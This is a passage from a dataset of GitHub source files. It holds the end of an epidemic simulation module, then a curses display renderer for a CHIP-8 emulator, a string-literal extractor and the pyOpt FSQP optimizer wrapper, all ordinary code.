self.antibiotics.values, antibiotics\n        ).astype(np.int16)\n\n        # --- Assign antibiotics end dates\n        antibiotics_ends = np.zeros(len(ages))\n        antibiotics_ends.fill(-1)\n        self.antibiotics.ends = np.append(\n            self.antibiotics.ends, antibiotics_ends\n        ).astype(np.int16)\n\n        # --- Assign susceptible CRE states\n        cre_states = np.zeros(len(ages))\n        cre_states.fill(CREState.SUSCEPTIBLE.value)\n        self.cre.values = np.append(self.cre.values, cre_states).astype(np.int16)\n\n        # --- Look up their Antibiotics change probability\n        new_probabilities = self.antibiotics.find_probabilities(\n            list(zip(locations, ages))\n        )\n        self.antibiotics.probabilities = np.append(\n            self.antibiotics.probabilities, new_probabilities\n        )\n\n    def collect_agents(self, initiate: bool = False):\n        \"\"\" Collect the daily information about CRE for all agents\n        \"\"\"\n        if initiate:\n            daily_count_index_list = []\n            for an_anti in [0, 1]:\n                for a_location in self.model.location.locations.enum:\n                    for a_cre_state in CREState:\n                        daily_count_index_list.append(\n                            (an_anti, a_location.value, a_cre_state.value)\n                        )\n            daily_counts = pd.DataFrame(daily_count_index_list)\n            daily_counts.columns = [\"Antibiotics\", \"Location\", \"CRE\"]\n            self.model.daily_counts = daily_counts.set_index(\n                [\"Antibiotics\", \"Location\", \"CRE\"]\n            )\n        # ----- Create arrays for antibiotics, life, location, and the cre_state\n        antibiotics = self.antibiotics.values\n        life = self.model.life.values\n        locations = self.model.location.location.values\n        cre_state = self.cre.values\n\n        d_array = np.vstack((antibiotics, life, locations, cre_state)).T\n\n        df = pd.DataFrame(d_array, columns=[\"Antibiotics\", \"Life\", \"Location\", \"CRE\"])\n        df = df[df.Life == LifeState.ALIVE.value]\n        df = df.groupby(by=[\"Antibiotics\", \"Location\", \"CRE\"]).size()\n        self.model.daily_counts[self.model.time] = df\n\n    def save_output(self):\n        cases = pd.DataFrame(\n            self.cases,\n            columns=[\"Time\", \"Unique_ID\", \"Location\", \"Type\", \"Description\", \"County\"],\n        )\n        cases.to_csv(Path(self.model.output_dir, \"CRE_cases.csv\"), index=False)\n","repo_name":"RTIInternational/NCMInD","sub_path":"src/cre.py","file_name":"cre.py","file_ext":"py","file_size_in_byte":12656,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"57"}
+{"seq_id":"40505784774","text":"#!/usr/bin/env python3\n\n\"\"\"\nCurses Renderer Plugin\n\nUsed by a Framebuffer object to draw the screen.  This draws graphics in a\nstandard Linux-style TTY Terminal, the Windows Command Prompt, or PowerShell.\n\nThis will draw inverted spaces to represent each pixel of the screen if set to\nmonochrome mode (CHIP-8, Super-CHIP 1.0, Super-CHIP 1.1 and CHIP-48). If set to\ncolour mode, it will draw black for the background, green for the first plane,\nred for the second, and white if both planes' pixels are set at the same time.\n\nIf the screen mode is changed, Curses will use a different sized pad to draw\nthe characters.\n\"\"\"\n\n__copyright__ = \"Copyright (C) 2022 Gregory Maynard-Hoare\"\n__license__ = \"GNU Affero General Public License v3.0\"\n\nimport curses\nimport _curses\nfrom .r_null import RendererError, Renderer as RendererBase\nfrom ..constants import APP_NAME\n\n\nclass Renderer(RendererBase):\n    def __init__(self, scale=None, use_colour=True, curses_palette=None, curses_cursor_mode=0, **kwargs):\n        if scale is None:\n            scale = 2  # Default horizontal stretch if not supplied, or set to default\n\n        self.pixel_char = \" \" * scale\n        self.pad = None\n        self.last_screen_height = -1\n        self.last_screen_width = -1\n        self.palette_index = None\n        self.screen = curses.initscr()\n        curses.savetty()\n        curses.noecho()\n        curses.cbreak()\n\n        try:\n            curses.curs_set(curses_cursor_mode)\n        except _curses.error:\n            pass\n\n        if use_colour or (curses_palette is not None):\n            curses.start_color()  # Only needed if not B/W\n            curses.use_default_colors()\n\n            # Define first colour with inverted background, ensuring that if any text is displayed, it won't be obscured\n            curses.init_pair(1, curses.COLOR_WHITE, curses.COLOR_BLACK)\n\n            # Define remaining 15 colours\n            for curses_col_num, curses_col in enumerate([\n                curses.COLOR_RED, curses.COLOR_GREEN, curses.COLOR_YELLOW, curses.COLOR_BLUE, curses.COLOR_MAGENTA,\n                curses.COLOR_CYAN, curses.COLOR_WHITE\n            ]):\n                curses.init_pair(curses_col_num + 2, curses.COLOR_BLACK, curses_col)\n\n            # Set up default mapping.  We'll be looking up list entries via index, so we don't need to use a dictionary.\n            self.palette_index = [1, 3, 2, 8, 5, 7, 6, 4] * 2\n\n            # Override some (or all) of the colours with a user-defined palette, if necessary\n            if curses_palette is not None:\n                if len(curses_palette) > 0x10:\n                    raise RendererError(\"Too many palette colours defined.\")\n\n                for curses_colour_num, curses_colour in enumerate(curses_palette):\n                    try:\n                        curses_colour_int = int(curses_colour, 8)\n                    except ValueError:\n                        raise RendererError(\"Invalid palette colour defined.\") from None\n\n                    self.palette_index[curses_colour_num] = curses_colour_int + 1\n\n        super().__init__(scale, use_colour)\n\n    def __del__(self):\n        # PyPy does not call this, but regular CPython does\n        self.shutdown()\n\n    def set_resolution(self, width, height):\n        # Fast-erase the current pad.  The new one may be smaller, and it will also be empty when initialised.\n        if self.pad:\n            self.pad.erase()\n            self.refresh_display(True)\n\n        # We have to allow one extra character, presumably for the cursor, otherwise we can't write the furthest\n        # bottom-right pixel.\n        adjusted_width = width * self.scale + 1\n        self.pad = curses.newpad(height + 1, adjusted_width)  # Adding one additional line for the title bar\n\n        if self.palette_index:\n            # Sometimes the background is not erased correctly if using colours rather than inverted pixels.  This\n            # ensures the erase happens properly.\n            self.pad.bkgd(\" \", curses.color_pair(self.palette_index[0]))\n\n        super().set_resolution(width, height)\n        self.set_title(APP_NAME)\n\n    def set_pixel(self, x, y, colour):\n        if self.palette_index:\n            curses_colour = curses.color_pair(self.palette_index[colour])\n        else:\n            curses_colour = curses.A_REVERSE if colour else curses.A_NORMAL\n\n        self.pad.addstr(y + 1, x * self.scale, self.pixel_char, curses_colour)\n\n    def refresh_display(self, content_changed=False):\n        screen_height, screen_width = self.screen.getmaxyx()  # This doesn't seem to ever change/work on Windows?!\n\n        if screen_height == self.last_screen_height and screen_width == self.last_screen_width:\n            # Fast delta update\n            if content_changed:\n                self.pad.refresh(0, 0, 0, 0, screen_height - 1, screen_width - 1)\n        else:\n            # Screen resolution changed, redraw everything\n            self.screen.clear()\n\n            if hasattr(curses, \"resizeterm\"):\n                # This doesn't work on Windows\n                curses.resizeterm(screen_height, screen_width)\n\n            self.screen.refresh()\n            self.last_screen_height = screen_height\n            self.last_screen_width = screen_width\n\n    def set_title(self, title):\n        if self.pad:\n            title_len = len(title)\n\n            if self.width > title_len:\n                self.pad.addstr(0, 0, \"\".join((title, \" \" * (self.width * self.scale - title_len))), curses.A_REVERSE)\n                self.refresh_display(True)\n\n    def shutdown(self):\n        if self.screen:\n            if self.pad:\n                del self.pad\n\n            curses.resetty()\n            curses.endwin()\n            self.screen = None\n\n        super().shutdown()\n\n    # No Superclass for these Curses-specific methods\n\n    def get_curses_screen(self):\n        return self.screen\n","repo_name":"GMH-Code/SuperChocChip","sub_path":"scchip/renderers/r_curses.py","file_name":"r_curses.py","file_ext":"py","file_size_in_byte":5858,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"57"}
+{"seq_id":"30483350422","text":"import re\nimport json\nfrom typing import Dict, List, Tuple, Union\nfrom .annotations import Token\nfrom .exceptions import ExtractorError\n\n# 用于提取，组1是匹配到的文本，支持“\\uUUUU”，“\\xXX”\n_STR_RE_STRING = r'\"((?:[^\"\\\\]|\\\\[^ux]|\\\\u[\\dA-Fa-f]{4}|\\\\x[\\dA-Fa-f]{2})*)\"'\n\n_RE_STRING = re.compile(_STR_RE_STRING, re.MULTILINE)\n_RE_STRING2 = re.compile(_STR_RE_STRING.replace('\"', '\\''), re.MULTILINE)\n_RE_OTHERS = re.compile(r'[^\\'\\\"]+')\n# 用于判断，这里的文��是全部匹配\n_RE_WHITESPACE = re.compile(r'^(\\s+)?$')\n_RE_ASCII = re.compile(r'^([\\x00-\\x7f]+)$')\n\nTYPE_DEFINE = 0\nTYPE_REFERENCE = 1\nTYPE_OTHERS = 2\n\n\ndef normalize_text(string: str) -> str:\n    return json.dumps(eval(string), ensure_ascii=False)[1:-1]\n\ndef extract(source: str) -> Tuple[List[str], List[Token]]:\n    tokens: List[Token] = []\n    string_id: int = 0\n    string_map: Dict[str, int] = {}  # [string] -> string_id\n    string_list: List[str] = []  # [string_id] -> string\n\n    rules = (('s', _RE_STRING), ('s', _RE_STRING2), ('o', _RE_OTHERS))\n    source_length = len(source)\n\n    from_ = 0\n    while from_ < source_length:\n        matched: Union[re.Match[str], None] = None\n\n        for type_, rule in rules:\n            matched = rule.match(source, from_)\n\n            if matched:\n                break\n\n        if not matched:\n            raise ExtractorError(f'Unexpected char \\'{source[from_]}\\'')\n\n        from_ = matched.end(0)\n\n        if type_ == 's':\n            raw = matched.group(0)\n            normalized = normalize_text(raw)\n\n            if _RE_WHITESPACE.match(normalized) or _RE_ASCII.match(normalized):\n                tokens.append((TYPE_OTHERS, raw))\n            else:\n                if normalized not in string_map:\n                    string_map[normalized] = string_id\n                    string_list.append(normalized)\n                    string_id += 1\n\n                tokens.append((TYPE_REFERENCE, string_map[normalized]))\n        elif type_ == 'o':\n            raw = matched.group(0)\n            tokens.append((TYPE_OTHERS, raw))\n        else:\n            raise ExtractorError('Unknown Error!')\n\n    tokens.insert(0, (TYPE_DEFINE, string_list))\n\n    return string_list, tokens\n","repo_name":"urain39/astr","sub_path":"astr/extractor.py","file_name":"extractor.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"74230538739","text":"__version__ = '$Revision: $'\n\n'''\nTo Do:\n\t- check possible ff,gg issue in eval\n'''\n\n# =============================================================================\n# FSQP Library\n# =============================================================================\ntry:\n\tfrom . import ffsqp\nexcept:\n\traise ImportError('FSQP shared library failed to import')\n\nimport copy\n# =============================================================================\n# Standard Python modules\n# =============================================================================\nimport os\nimport sys\nimport time\n\n# =============================================================================\n# External Python modules\n# =============================================================================\nimport numpy\n\n# =============================================================================\n# Extension modules\n# =============================================================================\nfrom pyOpt import Gradient, Optimizer\n\n# =============================================================================\n# Misc Definitions\n# =============================================================================\ninf = 10.E+20  # define a value for infinity\n# =============================================================================\neps = 1.0\t# define a value for machine precision\nwhile ((eps/2.0 + 1.0) > 1.0):\n\teps = eps/2.0\neps = 2.0*eps\n#eps = math.ldexp(1,-52)\n\n\n# =============================================================================\n# FSQP Optimizer Class\n# =============================================================================\nclass FSQP(Optimizer):\n\n\t'''\n\tFSQP Optimizer Class - Inherited from Optimizer Abstract Class\n\t'''\n\n\tdef __init__(self, pll_type=None, *args, **kwargs):\n\n\t\t\"\"\"FSQP Optimizer Class Initialization.\n\n\t\t**Keyword arguments:**\n\n\t\t- pll_type -> STR: Parallel Implementation (None, 'POA'-Parallel Objective Analysis), *Default* = None\n\n\t\tDocumentation last updated:  Feb. 16, 2010 - Peter W. Jansen\n\t\t\"\"\"\n\n\t\t#\n\t\tif (pll_type == None):\n\t\t\tself.poa = False\n\t\telif (pll_type.upper() == 'POA'):\n\t\t\tself.poa = True\n\t\telse:\n\t\t\traise ValueError(\"pll_type must be either None or 'POA'\")\n\n\t\t#\n\t\tname = 'FSQP'\n\t\tcategory = 'Local Optimizer'\n\t\tdef_opts = {\n\t\t'mode':[int,100],\t\t\t# FSQP Mode (See Manual)\n\t\t'iprint':[int,2],\t\t\t# Output Level (0 - None, 1 - Final, 2 - Major, 3 - Major Details)\n\t\t'miter':[int,500],\t\t\t# Maximum Number of Iterations\n\t\t'bigbnd':[float,1e10],\t\t# Plus Infinity Value\n\t\t'epstol':[float,1e-8],\t\t# Convergence Tolerance\n\t\t'epseqn':[float,0],\t\t\t# Equality Constraints Tolerance\n\t\t'iout':[int,6],     \t\t# Output Unit Number\n\t\t'ifile':[str,'FSQP.out'],\t# Output File Name\n\t\t}\n\t\tinforms = {\n\t\t0 : 'Normal termination of execution',\n\t\t1 : 'User-provided initial guess is infeasible for linear constraints, unable to generate a point satisfying all these constraints',\n\t\t2 : 'User-provided initial guess is infeasible for nonlinear inequality constraints and linear constraints, unable to generate a point satisfying all these constraints',\n\t\t3 : 'The maximum number of iterations has been reached before a solution is obtained',\n\t\t4 : 'The line search fails to find a new iterate',\n\t\t5 : 'Failure of the QP solver in attempting to construct d0, a more robust QP solver may succeed',\n\t\t6 : 'Failure of the QP solver in attempting to construct d1, a more robust QP solver may succeed',\n\t\t7 : 'Input data are not consistent, check print out error messages',\n\t\t8 : 'Two consecutive iterates are numerically equivalent before a stopping criterion is satisfied',\n\t\t9 : 'One of the penalty parameters exceeded bigbnd, the algorithm is having trouble satisfying a nonlinear equality constraint',\n\t\t}\n\t\tOptimizer.__init__(self, name, category, def_opts, informs, *args, **kwargs)\n\n\n\tdef __solve__(self, opt_problem={}, sens_type='FD', store_sol=True, store_hst=False, hot_start=False, disp_opts=False, sens_mode='', sens_step={}, *args, **kwargs):\n\n\t\t\"\"\"Run Optimizer (Optimize Routine)\n\n\t\t**Keyword arguments:**\n\n\t\t- opt_problem -> INST: Optimization instance\n\t\t- sens_type -> STR/FUNC: Gradient type, *Default* = 'FD'\n\t\t- store_sol -> BOOL: Store solution in Optimization class flag, *Default* = True\n\t\t- disp_opts -> BOOL: Flag to display options in solution text, *Default* = False\n\t\t- store_hst -> BOOL/STR: Flag/filename to store optimization history, *Default* = False\n\t\t- hot_start -> BOOL/STR: Flag/filename to read optimization history, *Default* = False\n\t\t- sens_mode -> STR: Flag for parallel gradient calculation, *Default* = ''\n\t\t- sens_step -> FLOAT: Sensitivity setp size, *Default* = {} [corresponds to 1e-6 (FD), 1e-20(CS)]\n\n\t\tAdditional arguments and keyword arguments are passed to the objective function call.\n\n\t\tDocumentation last updated:  February. 2, 2011 - Ruben E. Perez\n\t\t\"\"\"\n\n\t\t#\n\t\tnec = 0\n\t\tnic = 0\n\t\tfor key in opt_problem._constraints.keys():\n\t\t\tif opt_problem._constraints[key].type == 'e':\n\t\t\t\tnec += 1\n\t\t\tif opt_problem._constraints[key].type == 'i':\n\t\t\t\tnic += 1\n\n\t\t#\n\t\tif ((self.poa) and (sens_mode.lower() == 'pgc')):\n\t\t\traise NotImplementedError(\"pyFSQP - Current implementation only allows single level parallelization, either 'POA' or 'pgc'\")\n\n\t\tif self.poa or (sens_mode.lower() == 'pgc'):\n\t\t\ttry:\n\t\t\t\timport mpi4py\n\t\t\t\tfrom mpi4py import MPI\n\t\t\texcept ImportError:\n\t\t\t\tprint('pyFSQP: Parallel objective Function Analysis requires mpi4py')\n\t\t\tcomm = MPI.COMM_WORLD\n\t\t\tnproc = comm.Get_size()\n\t\t\tif (mpi4py.__version__[0] == '0'):\n\t\t\t\tBcast = comm.Bcast\n\t\t\telif (mpi4py.__version__[0] == '1'):\n\t\t\t\tBcast = comm.bcast\n\t\t\tself.pll = True\n\t\t\tself.myrank = comm.Get_rank()\n\t\telse:\n\t\t\tself.pll = False\n\t\t\tself.myrank = 0\n\n\t\tmyrank = self.myrank\n\n\n\t\t#\n\t\tdef_fname = self.options['ifile'][1].split('.')[0]\n\t\thos_file, log_file, tmp_file = self._setHistory(opt_problem.name, store_hst, hot_start, def_fname)\n\n\t\t#\n\t\tgradient = Gradient(opt_problem, sens_type, sens_mode, sens_step, *args, **kwargs)\n\n\n\t\t#======================================================================\n\t\t# FSQP - Objective/Constraint Values Storage\n\t\t#======================================================================\n\t\tdef fsqp_eval(x):\n\n\t\t\t# Variables Groups Handling\n\t\t\tif opt_problem.use_groups:\n\t\t\t\txg = {}\n\t\t\t\tfor group in group_ids.keys():\n\t\t\t\t\tif (group_ids[group][1]-group_ids[group][0] == 1):\n\t\t\t\t\t\txg[group] = x[group_ids[group][0]]\n\t\t\t\t\telse:\n\t\t\t\t\t\txg[group] = x[group_ids[group][0]:group_ids[group][1]]\n\t\t\t\txn = xg\n\t\t\telse:\n\t\t\t\txn = x\n\n\t\t\t# Flush Output Files\n\t\t\tself.flushFiles()\n\n\t\t\t# Evaluate User Function (Real Valued)\n\t\t\tfail = 0\n\t\t\tf = []\n\t\t\tg = []\n\t\t\tif (myrank == 0):\n\t\t\t\tif self.hot_start:\n\t\t\t\t\t[vals,hist_end] = hos_file.read(ident=['obj', 'con', 'fail'])\n\t\t\t\t\tif hist_end:\n\t\t\t\t\t\tself.hot_start = False\n\t\t\t\t\t\thos_file.close()\n\t\t\t\t\telse:\n\t\t\t\t\t\t[f,g,fail] = [vals['obj'][0][0],vals['con'][0],int(vals['fail'][0][0])]\n\n\t\t\tif self.pll:\n\t\t\t\tself.hot_start = Bcast(self.hot_start,root=0)\n\t\t\tif self.hot_start and self.pll:\n\t\t\t\t[f,g,fail] = Bcast([f,g,fail],root=0)\n\t\t\telif not self.hot_start:\n\t\t\t\t[f,g,fail] = opt_problem.obj_fun(xn, *args, **kwargs)\n\n\t\t\t# Store History\n\t\t\tif (myrank == 0):\n\t\t\t\tif self.sto_hst:\n\t\t\t\t\tlog_file.write(x,'x')\n\t\t\t\t\tlog_file.write(f,'obj')\n\t\t\t\t\tlog_file.write(g,'con')\n\t\t\t\t\tlog_file.write(fail,'fail')\n\n\t\t\t# Objective Assigment\n\t\t\tif isinstance(f,float):\n\t\t\t\tf = [f]\n\t\t\tfor i in range(len(opt_problem._objectives.keys())):\n\t\t\t\tif isinstance(f[i],complex):\n\t\t\t\t\tff[i] = f[i].astype(float)\n\t\t\t\telse:\n\t\t\t\t\tff[i] = f[i]\n\n\t\t\t# Constraints Assigment\n\t\t\ti = 0\n\t\t\tfor j in range(len(opt_problem._constraints.keys())):\n\t\t\t\tif isinstance(g[j],complex):\n\t\t\t\t\tgg[i] = g[j].astype(float)\n\t\t\t\telse:\n\t\t\t\t\tgg[i] = g[j]\n\t\t\t\ti += 1\n\n\t\t\t# Gradients\n\t\t\tif self.hot_start:\n\t\t\t\tdff = []\n\t\t\t\tdgg = []\n\t\t\t\tif (myrank == 0):\n\t\t\t\t\t[vals,hist_end] = hos_file.read(ident=['grad_obj','grad_con'])\n\t\t\t\t\tif hist_end:\n\t\t\t\t\t\tself.hot_start = False\n\t\t\t\t\t\thos_file.close()\n\t\t\t\t\telse:\n\t\t\t\t\t\tdff = vals['grad_obj'][0].reshape((len(opt_problem._objectives.keys()),len(opt_problem._variables.keys())))\n\t\t\t\t\t\tdgg = vals['grad_con'][0].reshape((len(opt_problem._constraints.keys()),len(opt_problem._variables.keys())))\n\t\t\t\tif self.pll:\n\t\t\t\t\tself.hot_start = Bcast(self.hot_start,root=0)\n\t\t\t\tif self.hot_start and self.pll:\n\t\t\t\t\t[dff,dgg] = Bcast([dff,dgg],root=0)\n\n\t\t\tif not self.hot_start:\n\n\t\t\t\t#\n\t\t\t\tdff,dgg = gradient.getGrad(x, group_ids, f, g, *args, **kwargs)\n\n\n\t\t\t# Store History\n\t\t\tif self.sto_hst and (myrank == 0):\n\t\t\t\tlog_file.write(dff,'grad_obj')\n\t\t\t\tlog_file.write(dgg,'grad_con')\n\n\t\t\t# Store\n\t\t\tself.stored_data['x'] = copy.copy(x)\n\t\t\tself.stored_data['f'] = copy.copy(ff)\n\t\t\tself.stored_data['g'] = copy.copy(gg)\n\t\t\tself.stored_data['df'] = copy.copy(dff)\n\t\t\tself.stored_data['dg'] = copy.copy(dgg)\n\n\t\t\treturn\n\n\n\t\t#======================================================================\n\t\t# FSQP - Objective Values Function\n\t\t#======================================================================\n\t\tdef obj(nparam,j,x,fj):\n\n\t\t\tif ((self.stored_data['x'] != x).any()):\n\t\t\t\tfsqp_eval(x)\n\n\t\t\tff = self.stored_data['f']\n\t\t\tif (nobj == 1):\n\t\t\t\tfj = ff\n\t\t\telse:\n\t\t\t\tif isinstance(ff,list):\n\t\t\t\t\tff = numpy.array(ff)\n\t\t\t\tfj = ff[j-1]\n\n\t\t\treturn fj\n\n\n\t\t#======================================================================\n\t\t# FSQP - Constraint Values Function\n\t\t#======================================================================\n\t\tdef cntr(nparam,j,x,gj):\n\n\t\t\t# for given j, assign to gj the value of the jth constraint evaluated at x\n\n\t\t\tif ((self.stored_data['x'] != x).any()):\n\t\t\t\tfsqp_eval(x)\n\n\t\t\tgg = self.stored_data['g']\n\t\t\tif (j <= nic):\n\t\t\t\tjg = nec + (j-1)\n\t\t\telse:\n\t\t\t\tjg = (j-1) - nic\n\t\t\tgj = gg[jg]\n\n\t\t\treturn gj\n\n\n\t\t#======================================================================\n\t\t# FSQP - Objective Gradients Function\n\t\t#======================================================================\n\t\tdef gradobj(nparam,j,x,gradfj,obj):\n\n\t\t\t# assign to gradfj the gradient of the jth objective function evaluated at x\n\n\t\t\tif ((self.stored_data['x'] != x).any()):\n\t\t\t\tfsqp_eval(x)\n\n\t\t\tdf = self.stored_data['df']\n\t\t\tfor i in range(len(opt_problem._variables.keys())):\n\t\t\t\tgradfj[i] = df[j-1,i]\n\n\t\t\treturn gradfj\n\n\n\t\t#======================================================================\n\t\t# FSQP - Constraint Gradients Function\n\t\t#======================================================================\n\t\tdef gradcntr(nparam,j,x,gradgj,obj):\n\n\t\t\t# assign to gradgj the gradient of the jth constraint evaluated at x\n\n\t\t\tif ((self.stored_data['x'] != x).any()):\n\t\t\t\tfsqp_eval(x)\n\n\t\t\tdg = self.stored_data['dg']\n\t\t\tif (j <= nic):\n\t\t\t\tjg = nec + (j-1)\n\t\t\telse:\n\t\t\t\tjg = (j-1) - nic\n\t\t\tgradgj = dg[jg]\n\n\t\t\treturn gradgj\n\n\n\n\t\t# Variables Handling\n\t\tnvar = len(opt_problem._variables.keys())\n\t\txl = []\n\t\txu = []\n\t\txx = []\n\t\tfor key in opt_problem._variables.keys():\n\t\t\txl.append(opt_problem._variables[key].lower)\n\t\t\txu.append(opt_problem._variables[key].upper)\n\t\t\txx.append(opt_problem._variables[key].value)\n\t\txl = numpy.array(xl)\n\t\txu = numpy.array(xu)\n\t\txx = numpy.array(xx)\n\n\t\t# Variables Groups Handling\n\t\tgroup_ids = {}\n\t\tif opt_problem.use_groups:\n\t\t\tk = 0\n\t\t\tfor key in opt_problem._vargroups.keys():\n\t\t\t\tgroup_len = len(opt_problem._vargroups[key]['ids'])\n\t\t\t\tgroup_ids[opt_problem._vargroups[key]['name']] = [k,k+group_len]\n\t\t\t\tk += group_len\n\n\t\t# Constraints Handling\n\t\tncon = len(opt_problem._constraints.keys())\n\t\tneqc = 0\n\t\tgg = []\n\t\tif ncon > 0:\n\t\t\tfor key in opt_problem._constraints.keys():\n\t\t\t\tif opt_problem._constraints[key].type == 'e':\n\t\t\t\t\tneqc += 1\n\t\t\t\tgg.append(opt_problem._constraints[key].value)\n\t\t\tgg = numpy.array(gg, float)\n\t\telse:\n\t\t\tgg = numpy.array([0] ,float)\n\n\t\t# Objective Handling\n\t\tobjfunc = opt_problem.obj_fun\n\t\tnobj = len(opt_problem._objectives.keys())\n\t\tff = []\n\t\tfor key in opt_problem._objectives.keys():\n\t\t\tff.append(opt_problem._objectives[key].value)\n\t\tff = numpy.array(ff, float)\n\n\n\t\t# Setup argument list values\n\t\tnparam = numpy.array([nvar], int)\n\t\tnf = numpy.array([nobj], int)\n\t\tnineqn = numpy.array([ncon-neqc], int)\n\t\tnineq = nineqn\n\t\tneqn = numpy.array([neqc], int)\n\t\tneq = neqn\n\t\tmode = numpy.array([self.options['mode'][1]], int)\n\t\tif (myrank == 0):\n\t\t\tif (self.options['iprint'][1]>=0):\n\t\t\t\tiprint = numpy.array([self.options['iprint'][1]], int)\n\t\t\telse:\n\t\t\t\traise OSError('Incorrect Output Level Setting')\n\t\telse:\n\t\t\tiprint = numpy.array([0], int)\n\t\tiout = numpy.array([self.options['iout'][1]], int)\n\t\tifile = self.options['ifile'][1]\n\t\tif (iprint > 0):\n\t\t\tif os.path.isfile(ifile):\n\t\t\t\tos.remove(ifile)\n\t\tmiter = numpy.array([self.options['miter'][1]], int)\n\t\tinform = numpy.array([0], int)\n\t\tbigbnd = numpy.array([self.options['bigbnd'][1]], float)\n\t\tepstol = numpy.array([self.options['epstol'][1]], float)\n\t\tepsneq = numpy.array([self.options['epseqn'][1]], float)\n\t\tudelta = numpy.array([0], float)\n\t\tiwsizeM = 6*nvar + 8*max([1,ncon]) + 7*max([1,nobj]) + 30\n\t\tiwsize = numpy.array([iwsizeM], int)\n\t\tiw = numpy.zeros([iwsize], float)\n\t\tnwsizeM = 4*nvar**2 + 5*max([1,ncon])*nvar + 3*max([1,nobj])*nvar + 26*(nvar+max([1,nobj])) + 45*max([1,ncon]) + 100\n\t\tnwsize = numpy.array([nwsizeM], int)\n\t\tw = numpy.zeros([nwsize], float)\n\n\n\t\t# Storage Arrays\n\t\tself.stored_data = {}\n\t\tself.stored_data['x'] = {}  #numpy.zeros([nvar],float)\n\t\tself.stored_data['f'] = {}  #numpy.zeros([nobj],float)\n\t\tself.stored_data['g'] = {}  #numpy.zeros([ncon],float)\n\t\tself.stored_data['df'] = {} #numpy.zeros([nvar],float)\n\t\tself.stored_data['dg'] = {} #numpy.zeros([ncon,nvar],float)\n\n\n\t\t# Run FSQP\n\t\tt0 = time.time()\n\t\tffsqp.ffsqp(nparam,nf,nineqn,nineq,neqn,neq,mode,iprint,miter,\n\t\t\tinform,bigbnd,epstol,epsneq,udelta,xl,xu,xx,ff,gg,iw,iwsize,\n\t\t\tw,nwsize,obj,cntr,gradobj,gradcntr,iout,ifile)\n\t\tsol_time = time.time() - t0\n\n\t\tif (myrank == 0):\n\t\t\tif self.sto_hst:\n\t\t\t\tlog_file.close()\n\t\t\t\tif tmp_file:\n\t\t\t\t\thos_file.close()\n\t\t\t\t\tname = hos_file.filename\n\t\t\t\t\tos.remove(name+'.cue')\n\t\t\t\t\tos.remove(name+'.bin')\n\t\t\t\t\tos.rename(name+'_tmp.cue',name+'.cue')\n\t\t\t\t\tos.rename(name+'_tmp.bin',name+'.bin')\n\n\t\tif (iprint > 0):\n\t\t\tffsqp.closeunit(self.options['iout'][1])\n\n\n\t\t# Store Results\n\t\tsol_inform = {}\n\t\tsol_inform['value'] = inform[0]\n\t\tsol_inform['text'] = self.getInform(inform[0])\n\n\t\tif store_sol:\n\n\t\t\tsol_name = 'FSQP Solution to ' + opt_problem.name\n\n\t\t\tsol_options = copy.copy(self.options)\n\t\t\tif 'defaults' in sol_options:\n\t\t\t\tdel sol_options['defaults']\n\n\t\t\tsol_evals = 0\n\n\t\t\tsol_vars = copy.deepcopy(opt_problem._variables)\n\t\t\ti = 0\n\t\t\tfor key in sol_vars.keys():\n\t\t\t\tsol_vars[key].value = xx[i]\n\t\t\t\ti += 1\n\n\t\t\tsol_objs = copy.deepcopy(opt_problem._objectives)\n\t\t\ti = 0\n\t\t\tfor key in sol_objs.keys():\n\t\t\t\tsol_objs[key].value = ff[i]\n\t\t\t\ti += 1\n\n\t\t\tif ncon > 0:\n\t\t\t\tsol_cons = copy.deepcopy(opt_problem._constraints)\n\t\t\t\ti = 0\n\t\t\t\tfor key in sol_cons.keys():\n\t\t\t\t\tsol_cons[key].value = gg[i]\n\t\t\t\t\ti += 1\n\t\t\telse:\n\t\t\t\tsol_cons = {}\n\n\t\t\tif ncon > 0:\n\t\t\t\tsol_lambda = numpy.zeros(ncon,float)\n\t\t\t\tfor i in range(ncon):\n\t\t\t\t\tsol_lambda[i] = w[nvar+i]\n\t\t\telse:\n\t\t\t\tsol_lambda = {}\n\n\n\t\t\topt_problem.addSol(self.__class__.__name__, sol_name, objfunc, sol_time,\n\t\t\t\tsol_evals, sol_inform, sol_vars, sol_objs, sol_cons, sol_options,\n\t\t\t\tdisplay_opts=disp_opts, Lambda=sol_lambda, Sensitivities=sens_type,\n\t\t\t\tmyrank=myrank, arguments=args, **kwargs)\n\n\n\t\treturn ff, xx, sol_inform\n\n\n\n\tdef _on_setOption(self, name, value):\n\n\t\t\"\"\"Set Optimizer Option Value (Optimizer Specific Routine)\n\n\t\tDocumentation last updated:  May. 17, 2008 - Ruben E. Perez\n\t\t\"\"\"\n\n\t\tpass\n\n\n\tdef _on_getOption(self, name):\n\n\t\t\"\"\"Get Optimizer Option Value (Optimizer Specific Routine)\n\n\t\tDocumentation last updated:  May. 17, 2008 - Ruben E. Perez\n\t\t\"\"\"\n\n\t\tpass\n\n\n\tdef _on_getInform(self, infocode):\n\n\t\t\"\"\"Get Optimizer Result Information (Optimizer Specific Routine)\n\n\t\tKeyword arguments:\n\t\t-----------------\n\t\tid -> STRING: Option Name\n\n\t\tDocumentation last updated:  May. 17, 2008 - Ruben E. Perez\n\t\t\"\"\"\n\n\t\treturn self.informs[infocode]\n\n\n\tdef _on_flushFiles(self):\n\n\t\t\"\"\"Flush the Output Files (Optimizer Specific Routine)\n\n\t\tDocumentation last updated:  August. 09, 2009 - Ruben E. Perez\n\t\t\"\"\"\n\n\t\t#\n\t\tiprint = self.options['iprint'][1]\n\t\tif (iprint > 1):\n\t\t\tffsqp.pyflush(self.options['iout'][1])\n","repo_name":"madebr/pyOpt","sub_path":"pyOpt/pyFSQP/pyFSQP.py","file_name":"pyFSQP.py","file_ext":"py","file_size_in_byte":16181,"program_lang":"python","lang":"en","doc_type":"code","stars":80,"dataset":"github-code","pt":"57"}
